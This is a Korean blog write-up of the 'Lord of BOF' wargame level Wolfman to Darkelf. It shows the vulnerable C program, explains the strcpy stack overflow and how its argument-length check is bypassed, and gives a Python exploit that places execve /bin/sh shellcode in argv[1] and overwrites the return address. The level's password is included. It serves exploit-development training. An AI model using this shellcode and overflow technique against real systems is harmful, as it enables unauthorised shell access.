ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Lord of BOF - Challenge [6번] Wolfman -> Darkelf
    WARGAME/LORD OF BOF 2018. 6. 25. 11:32

    [Summary]

    1. 38행의 취약한 strcpy 함수를 이용하여 40 바이트의 buffer 배열에 40바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.

    2. egghunter 와 buffer hunter 에 이어 이번문제에 새롭게 추가된 check argv length 를 우회하기 위해 argv[1] ShellCode 를 입력한다.

    3. buffer 배열에 dummy(44) 입력시킨 후 EIP 레지스터를 argv[1] 의 주소로 변조하여 ShellCode를 실행시킨다.

    4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.

    [Sourcecode]

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - darkelf 
            - egghunter + buffer hunter + check length of argv[1]
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	// check the length of argument
    	if(strlen(argv[1]) > 48){
    		printf("argument is too long!\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// buffer hunter
    	memset(buffer, 0, 40);
    }
    

    [Analysis]

    소스코드를 보게 되면 38행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 그러나, 이번문제는 egghunter + buffer hunter 에 이어 check argv length 를 추가하여 환경변수가와 buffer 배열을 0으로 초기화하고 argv[1] 길이를 48바이트로 제한한다.


    이번문제 또한 쉘코드를 사용하지 않고 RTL 로 풀려고 했으나 argv[1] 에 길이 제한이 있어 RTL 을 포기했다.


    따라서, 필자는 일반적인(?) 방법인 배열에 ShellCode 를 심고 EIP 레지스터를 SellCode 가 위치한 주소로 변조할 것이다.


    문제 바이너리를 gdb 로 attach 한뒤 intel 표기방식으로 설정한다.


    main 함수가 끝나기 직전의 스택을 살펴보기 위해 ret 에 브레이크 포인트를 걸어준 뒤 argv 영역을 확인한다.


    필자가 입력한 Dummy 값이 argv 배열에 있으므로 gdb 를 종료하고 Core Dump 를 확인한다.


    Segmentation Fault 가 발생할 경우 Core Dump 파일을 남기도록 명령을 수행한다.


    argv 배열의 정확힌 주소를 확인하고 Python 스크립트를 작성하여 Exploit 을 수행한다.


    [Exploit]

    import struct
    
    p	= lambda x : struct.pack("<I", x)
    
    argv		= 0xbffffc29
    shellcode	= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    
    payload	= shellcode
    payload	= payload + "A"*20
    payload	= payload + p(argv)
    
    print payload
    

    darkelf : kernel crashed


    [References]


Designed by Tistory.